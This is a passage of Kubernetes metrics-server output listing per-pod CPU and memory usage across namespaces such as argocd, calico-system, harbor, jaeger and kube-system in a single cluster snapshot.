      controller-revision-hash: argocd-application-controller-6cd48b7869
      helm.sh/chart: argo-cd-8.5.3
      statefulset.kubernetes.io/pod-name: argocd-application-controller-0
    name: argocd-application-controller-0
    namespace: argocd
  timestamp: "2025-11-29T15:49:55Z"
  window: 17.968s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: applicationset-controller
    usage:
      cpu: 1508757n
      memory: 40984Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6dc687dfdb
    name: argocd-applicationset-controller-6dc687dfdb-bbpnx
    namespace: argocd
  timestamp: "2025-11-29T15:49:45Z"
  window: 11.876s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: dex-server
    usage:
      cpu: "0"
      memory: 44452Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6559c6dd79
    name: argocd-dex-server-6559c6dd79-kk2j6
    namespace: argocd
  timestamp: "2025-11-29T15:49:36Z"
  window: 13.114s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: notifications-controller
    usage:
      cpu: 225425n
      memory: 28096Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6f78679858
    name: argocd-notifications-controller-6f78679858-zclq7
    namespace: argocd
  timestamp: "2025-11-29T15:49:50Z"
  window: 18.525s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: redis
    usage:
      cpu: 2074031n
      memory: 9076Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 946cd9d9f
    name: argocd-redis-946cd9d9f-j9nkk
    namespace: argocd
  timestamp: "2025-11-29T15:49:50Z"
  window: 14.926s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: repo-server
    usage:
      cpu: 1370409n
      memory: 55Mi
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 5c6559d6cd
    name: argocd-repo-server-5c6559d6cd-m74c8
    namespace: argocd
  timestamp: "2025-11-29T15:49:45Z"
  window: 16.965s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: server
    usage:
      cpu: 1509004n
      memory: 38364Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
      pod-template-hash: 6475d67dbd
    name: argocd-server-6475d67dbd-tk5kr
    namespace: argocd
  timestamp: "2025-11-29T15:49:46Z"
  window: 13.271s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: wordpress
    usage:
      cpu: 307737n
      memory: 40568Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/name: wordpress
      pod-template-hash: 574d78556d
    name: artemis-wordpress-574d78556d-7zvkm
    namespace: artemis
  timestamp: "2025-11-29T15:49:43Z"
  window: 18.883s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-kube-controllers
    usage:
      cpu: 1910918n
      memory: 46876Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: calico-kube-controllers
      k8s-app: calico-kube-controllers
      pod-template-hash: d595576c
    name: calico-kube-controllers-d595576c-6vkn8
    namespace: calico-system
  timestamp: "2025-11-29T15:49:54Z"
  window: 30.792s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-node
    usage:
      cpu: 62754202n
      memory: 288000Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
      pod-template-generation: "3"
    name: calico-node-5xxch
    namespace: calico-system
  timestamp: "2025-11-29T15:49:42Z"
  window: 16.18s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-node
    usage:
      cpu: 56444472n
      memory: 300220Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
      pod-template-generation: "3"
    name: calico-node-6rnlw
    namespace: calico-system
  timestamp: "2025-11-29T15:49:46Z"
  window: 19.747s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-node
    usage:
      cpu: 50986058n
      memory: 296104Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
      pod-template-generation: "3"
    name: calico-node-x7hhp
    namespace: calico-system
  timestamp: "2025-11-29T15:49:52Z"
  window: 14.776s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-typha
    usage:
      cpu: 3509846n
      memory: 42016Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
      pod-template-hash: 68b6598cf8
    name: calico-typha-68b6598cf8-8hgmg
    namespace: calico-system
  timestamp: "2025-11-29T15:49:44Z"
  window: 14.624s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-typha
    usage:
      cpu: 5176332n
      memory: 51480Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
      pod-template-hash: 68b6598cf8
    name: calico-typha-68b6598cf8-spshx
    namespace: calico-system
  timestamp: "2025-11-29T15:49:53Z"
  window: 18.726s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-csi
    usage:
      cpu: 2981n
      memory: 10696Ki
  - name: csi-node-driver-registrar
    usage:
      cpu: 59111n
      memory: 12612Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
      pod-template-generation: "1"
    name: csi-node-driver-pqf6l
    namespace: calico-system
  timestamp: "2025-11-29T15:49:45Z"
  window: 21.131s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-csi
    usage:
      cpu: "0"
      memory: 9316Ki
  - name: csi-node-driver-registrar
    usage:
      cpu: 41158n
      memory: 13692Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
      pod-template-generation: "1"
    name: csi-node-driver-sbfpt
    namespace: calico-system
  timestamp: "2025-11-29T15:49:42Z"
  window: 13.533s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: calico-csi
    usage:
      cpu: "0"
      memory: 5988Ki
  - name: csi-node-driver-registrar
    usage:
      cpu: 55230n
      memory: 8376Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
      pod-template-generation: "1"
    name: csi-node-driver-skbh6
    namespace: calico-system
  timestamp: "2025-11-29T15:49:42Z"
  window: 13.75s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: goldmane
    usage:
      cpu: 7806775n
      memory: 75752Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: goldmane
      k8s-app: goldmane
      pod-template-hash: 74cb5d9557
    name: goldmane-74cb5d9557-hhnbv
    namespace: calico-system
  timestamp: "2025-11-29T15:49:54Z"
  window: 17.622s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: whisker
    usage:
      cpu: "0"
      memory: 7984Ki
  - name: whisker-backend
    usage:
      cpu: "0"
      memory: 19892Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/name: whisker
      k8s-app: whisker
      pod-template-hash: 796cf9b5d7
    name: whisker-796cf9b5d7-lfc95
    namespace: calico-system
  timestamp: "2025-11-29T15:49:40Z"
  window: 36.32s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: cert-manager-controller
    usage:
      cpu: 1780385n
      memory: 37396Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 58dd99f969
    name: cert-manager-58dd99f969-n4w2f
    namespace: cert-manager
  timestamp: "2025-11-29T15:49:41Z"
  window: 17.467s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: cert-manager-cainjector
    usage:
      cpu: 2078952n
      memory: 46340Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 55cd9f77b5
    name: cert-manager-cainjector-55cd9f77b5-7cj29
    namespace: cert-manager
  timestamp: "2025-11-29T15:49:41Z"
  window: 11.336s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: cert-manager-webhook
    usage:
      cpu: 1765898n
      memory: 33872Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
      pod-template-hash: 7987476d56
    name: cert-manager-webhook-7987476d56-gsf9g
    namespace: cert-manager
  timestamp: "2025-11-29T15:49:50Z"
  window: 16.134s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: envoy
    usage:
      cpu: 4512639n
      memory: 25864Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy
      controller-revision-hash: 7cb9b4dbfb
      pod-template-generation: "1"
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy-cgq84
    namespace: default
  timestamp: "2025-11-29T15:49:55Z"
  window: 30.538s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: envoy
    usage:
      cpu: 11486588n
      memory: 34372Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy
      controller-revision-hash: 7cb9b4dbfb
      pod-template-generation: "1"
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy-t22vt
    namespace: default
  timestamp: "2025-11-29T15:49:51Z"
  window: 17.746s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: envoy
    usage:
      cpu: 14605211n
      memory: 47616Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy
      controller-revision-hash: 7cb9b4dbfb
      pod-template-generation: "1"
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy-zpdm7
    namespace: default
  timestamp: "2025-11-29T15:49:53Z"
  window: 16.424s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: iptables
    usage:
      cpu: "0"
      memory: 2572Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector
      controller-revision-hash: 5fb8474c8c
      pod-template-generation: "1"
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector-8qtp6
    namespace: default
  timestamp: "2025-11-29T15:49:44Z"
  window: 19.607s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: iptables
    usage:
      cpu: "0"
      memory: 3656Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector
      controller-revision-hash: 5fb8474c8c
      pod-template-generation: "1"
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector-9t6rf
    namespace: default
  timestamp: "2025-11-29T15:49:45Z"
  window: 18.6s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: iptables
    usage:
      cpu: "0"
      memory: 3004Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector
      controller-revision-hash: 5fb8474c8c
      pod-template-generation: "1"
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector-zjbp9
    namespace: default
  timestamp: "2025-11-29T15:49:47Z"
  window: 17.88s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: nfs-subdir-external-provisioner
    usage:
      cpu: 5184585n
      memory: 19952Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: nfs-subdir-external-provisioner
      pod-template-hash: 5545d686cd
      release: nfs-subdir-external-provisioner
    name: nfs-subdir-external-provisioner-5545d686cd-hv7lv
    namespace: default
  timestamp: "2025-11-29T15:49:49Z"
  window: 18.463s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: grafana
    usage:
      cpu: 4484109n
      memory: 125532Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
      pod-template-hash: 65fc6dbcff
    name: grafana-65fc6dbcff-qr6t9
    namespace: grafana
  timestamp: "2025-11-29T15:49:44Z"
  window: 14.348s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: core
    usage:
      cpu: 2245993n
      memory: 62020Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: core
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: core
      heritage: Helm
      pod-template-hash: 84f58f6d9d
      release: harbor
    name: harbor-core-84f58f6d9d-fck4m
    namespace: harbor
  timestamp: "2025-11-29T15:49:50Z"
  window: 12.167s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: database
    usage:
      cpu: 8827332n
      memory: 71012Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: database
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      apps.kubernetes.io/pod-index: "0"
      chart: harbor
      component: database
      controller-revision-hash: harbor-database-74f5fcbf8c
      heritage: Helm
      release: harbor
      statefulset.kubernetes.io/pod-name: harbor-database-0
    name: harbor-database-0
    namespace: harbor
  timestamp: "2025-11-29T15:49:37Z"
  window: 16.83s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jobservice
    usage:
      cpu: 5235074n
      memory: 31840Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: jobservice
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: jobservice
      heritage: Helm
      pod-template-hash: 7d76588fb9
      release: harbor
    name: harbor-jobservice-7d76588fb9-rn7vj
    namespace: harbor
  timestamp: "2025-11-29T15:49:51Z"
  window: 25.728s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: portal
    usage:
      cpu: 107323n
      memory: 6692Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: portal
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: portal
      heritage: Helm
      pod-template-hash: 864c6cd7
      release: harbor
    name: harbor-portal-864c6cd7-hzcjx
    namespace: harbor
  timestamp: "2025-11-29T15:49:53Z"
  window: 13.669s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: redis
    usage:
      cpu: 4325110n
      memory: 12952Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      apps.kubernetes.io/pod-index: "0"
      chart: harbor
      component: redis
      controller-revision-hash: harbor-redis-54d5fdcdfd
      heritage: Helm
      release: harbor
      statefulset.kubernetes.io/pod-name: harbor-redis-0
    name: harbor-redis-0
    namespace: harbor
  timestamp: "2025-11-29T15:49:39Z"
  window: 23.878s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: registry
    usage:
      cpu: 386708n
      memory: 14752Ki
  - name: registryctl
    usage:
      cpu: 2211264n
      memory: 20104Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: registry
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: registry
      heritage: Helm
      pod-template-hash: 6f6b79b866
      release: harbor
    name: harbor-registry-6f6b79b866-cgqvm
    namespace: harbor
  timestamp: "2025-11-29T15:49:38Z"
  window: 15.89s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: trivy
    usage:
      cpu: 1435828n
      memory: 17484Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: harbor
      app.kubernetes.io/component: trivy
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      apps.kubernetes.io/pod-index: "0"
      chart: harbor
      component: trivy
      controller-revision-hash: harbor-trivy-7594bdcf76
      heritage: Helm
      release: harbor
      statefulset.kubernetes.io/pod-name: harbor-trivy-0
    name: harbor-trivy-0
    namespace: harbor
  timestamp: "2025-11-29T15:49:44Z"
  window: 11.851s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: debug-sidecar
    usage:
      cpu: "0"
      memory: 1364Ki
  - name: wordpress
    usage:
      cpu: 234614n
      memory: 33960Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/name: wordpress
      pod-template-hash: 7f576688d9
    name: hera-wordpress-7f576688d9-bx44r
    namespace: hera
  timestamp: "2025-11-29T15:49:41Z"
  window: 11.445s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: controller
    usage:
      cpu: 2668493n
      memory: 103556Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
      pod-template-hash: 6b96cf684f
    name: ingress-nginx-controller-6b96cf684f-tfftb
    namespace: ingress-nginx
  timestamp: "2025-11-29T15:49:41Z"
  window: 17.52s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-agent
    usage:
      cpu: 283592n
      memory: 14492Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
      pod-template-generation: "1"
    name: jaeger-agent-2qptt
    namespace: jaeger
  timestamp: "2025-11-29T15:49:50Z"
  window: 14.475s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-agent
    usage:
      cpu: 361766n
      memory: 12656Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
      pod-template-generation: "1"
    name: jaeger-agent-n4rr4
    namespace: jaeger
  timestamp: "2025-11-29T15:49:46Z"
  window: 12.884s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-agent
    usage:
      cpu: 261583n
      memory: 9964Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
      pod-template-generation: "1"
    name: jaeger-agent-zv7dg
    namespace: jaeger
  timestamp: "2025-11-29T15:49:52Z"
  window: 22.402s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-cassandra
    usage:
      cpu: 182648190n
      memory: 2467900Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: cassandra
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: jaeger-cassandra-5f5c6957bc
      release: jaeger
      statefulset.kubernetes.io/pod-name: jaeger-cassandra-0
    name: jaeger-cassandra-0
    namespace: jaeger
  timestamp: "2025-11-29T15:49:53Z"
  window: 29.479s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-cassandra
    usage:
      cpu: 203470482n
      memory: 2446620Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: cassandra
      apps.kubernetes.io/pod-index: "1"
      controller-revision-hash: jaeger-cassandra-5f5c6957bc
      release: jaeger
      statefulset.kubernetes.io/pod-name: jaeger-cassandra-1
    name: jaeger-cassandra-1
    namespace: jaeger
  timestamp: "2025-11-29T15:49:51Z"
  window: 29.491s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-cassandra
    usage:
      cpu: 166030987n
      memory: 2468024Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: cassandra
      apps.kubernetes.io/pod-index: "2"
      controller-revision-hash: jaeger-cassandra-5f5c6957bc
      release: jaeger
      statefulset.kubernetes.io/pod-name: jaeger-cassandra-2
    name: jaeger-cassandra-2
    namespace: jaeger
  timestamp: "2025-11-29T15:49:49Z"
  window: 17.588s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-collector
    usage:
      cpu: 2714483n
      memory: 20124Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      pod-template-hash: 5b674d4987
    name: jaeger-collector-5b674d4987-h2655
    namespace: jaeger
  timestamp: "2025-11-29T15:49:48Z"
  window: 10.854s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: jaeger-query
    usage:
      cpu: 1542163n
      memory: 20424Ki
  - name: jaeger-agent-sidecar
    usage:
      cpu: 291866n
      memory: 17572Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: query
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      pod-template-hash: 699bddc747
    name: jaeger-query-699bddc747-pm4nn
    namespace: jaeger
  timestamp: "2025-11-29T15:49:37Z"
  window: 19.807s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: coredns
    usage:
      cpu: 3305744n
      memory: 33896Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      k8s-app: kube-dns
      pod-template-hash: 674b8bbfcf
    name: coredns-674b8bbfcf-jjtjh
    namespace: kube-system
  timestamp: "2025-11-29T15:49:43Z"
  window: 14.414s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: coredns
    usage:
      cpu: 5051717n
      memory: 43672Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      k8s-app: kube-dns
      pod-template-hash: 674b8bbfcf
    name: coredns-674b8bbfcf-rh6tw
    namespace: kube-system
  timestamp: "2025-11-29T15:49:49Z"
  window: 13.941s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: etcd
    usage:
      cpu: 106922207n
      memory: 136416Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: etcd
      tier: control-plane
    name: etcd-k8s-m-1
    namespace: kube-system
  timestamp: "2025-11-29T15:49:44Z"
  window: 10.438s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: etcd
    usage:
      cpu: 107698635n
      memory: 138888Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: etcd
      tier: control-plane
    name: etcd-k8s-m-2
    namespace: kube-system
  timestamp: "2025-11-29T15:49:49Z"
  window: 18.695s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: etcd
    usage:
      cpu: 71006739n
      memory: 102244Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: etcd
      tier: control-plane
    name: etcd-k8s-m-3
    namespace: kube-system
  timestamp: "2025-11-29T15:49:43Z"
  window: 14.838s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-apiserver
    usage:
      cpu: 134118839n
      memory: 769200Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-apiserver
      tier: control-plane
    name: kube-apiserver-k8s-m-1
    namespace: kube-system
  timestamp: "2025-11-29T15:49:51Z"
  window: 11.301s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-apiserver
    usage:
      cpu: 94367974n
      memory: 600956Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-apiserver
      tier: control-plane
    name: kube-apiserver-k8s-m-2
    namespace: kube-system
  timestamp: "2025-11-29T15:49:43Z"
  window: 12.952s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-apiserver
    usage:
      cpu: 149552367n
      memory: 579844Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-apiserver
      tier: control-plane
    name: kube-apiserver-k8s-m-3
    namespace: kube-system
  timestamp: "2025-11-29T15:49:46Z"
  window: 12.479s
